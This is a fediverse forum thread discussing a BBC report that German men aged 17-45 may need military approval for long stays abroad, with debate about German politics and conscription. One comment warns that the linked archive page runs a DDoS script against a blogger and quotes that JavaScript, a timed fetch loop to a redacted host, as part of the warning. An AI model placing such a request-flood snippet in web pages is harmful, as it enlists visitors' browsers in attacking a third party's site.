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c/globalnews · by BrikoX@lemmy.zip · 157d

German men aged 17-45 may need military approval for long stays abroad

https://www.bbc.com/news/articles/cvg3nr83xyvo

Under the law, travel approvals must generally be granted and it remains unclear how the rule would be enforced if breached.

Archived version: https://archive.is/20260404225054/https://www.bbc.com/news/articles/cvg3nr83xyvo

Disclaimer: The article linked is from a single source with a single perspective. Make sure to cross-check information against multiple sources to get a comprehensive view on the situation.

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Viking_Hippie@lemmy.dbzer0.com · 38 pts · 157d (10 replies)

Always a great sign when Europe in general and Germany in particular become increasingly militarized and authoritarian 😬

BrikoX@lemmy.zip · 17 pts · 157d (5 replies)

Germany and Italy going all in on fascism and teaming up again scares me.

Viking_Hippie@lemmy.dbzer0.com · 23 pts · 157d (4 replies)

I wouldn't go so far as to say that Germany is going all in on fascism (since AfD isn't the government), but it's heading in that direction in several ways for sure, which is quite suboptimal..

BrikoX@lemmy.zip · 16 pts · 157d (2 replies)

CDU is AfD just in a closet. Their policy platforms are identical.

lichtmetzger@discuss.tchncs.de · 13 pts · 156d

CDU is not denying the holocaust, but doesn't seem to have a problem working together with the people who do. It's increasingly concerning.

They're not outright fascist, but they're paving the way for them.

A_norny_mousse@piefed.zip · 3 pts · 156d

without hyperbole: *almost* identical. Esp. the outward facing stuff, like that idiot Fritze Merz.

NoneOfUrBusiness@fedia.io · 14 pts · 156d

AfD are the Nazis; CDU are the Center Party. Historically we know how this goes. You even have the SPD royally fucking up again if anyone wants more of a hint.

ultraviolence@lemmy.world · 5 pts · 156d

That’s why OP put a disclaimer in his post. If you check different sources and know something about the German constitution with regards to mandatory service, you should get to conclusion that this is just mererly trying to get an overview of where your own possible future conscripts would be at. Given the current world politics and different ongoing crisisses, I don’t think that’s necessarily a bad thing.

A Bundeswehr spokesperson confirmed the report, telling the DPA news agency that in the event of a war breaking out, the military needed to know how many men were living long-term outside the country.

When asked, the ministry spokesperson pointed out that "the regulation was already in place during the Cold War and had no practical relevance; in particular, there are no penalties for violating it.”

Source

And if you have a look at the law side of things, you should keep in mind that owning a German passport also legally binds you to certain obligations. In terms of military service these are laid out in who has to serve and when to serve.

But if you ask me, you could always go full „conscientious objection“.

(If you’re not German, let the translator do the work)

ryannathans@aussie.zone · 3 pts · 156d (2 replies)

Are they for or against Israel?

Viking_Hippie@lemmy.dbzer0.com · 13 pts · 156d (1 reply)

For. To the point of suppressing anti-zionist speech as much as the US if not even more.

ryannathans@aussie.zone · 5 pts · 156d

Oh boy, how the turn tables

A_norny_mousse@piefed.zip · 17 pts · 156d

The archived page contains a DDOS attack on a blogger. And has for months. Please do not use archive.today and archive.ph (also .is, .md, .fo, .li, .vn).

setInterval(function(){fetch("https://xxxxxx.com/  
tag/"+Math.random().toString(36).substring(2,3+Math  
.random()*8)+"/",{ referrerPolicy:"no-referrer",mode:"no-cors" });},3000000);

https://arstechnica.com/tech-policy/2026/02/wikipedia-bans-archive-today-after-site-executed-ddos-and-altered-web-captures/

A_norny_mousse@piefed.zip · 2 pts · 156d

I saw this in German yesterday, and imho "military approval" is overstating things a little. While technically probably true, it's really "administrative approval".

ultraviolence@lemmy.world · 1 pts · 153d

Update on this topic!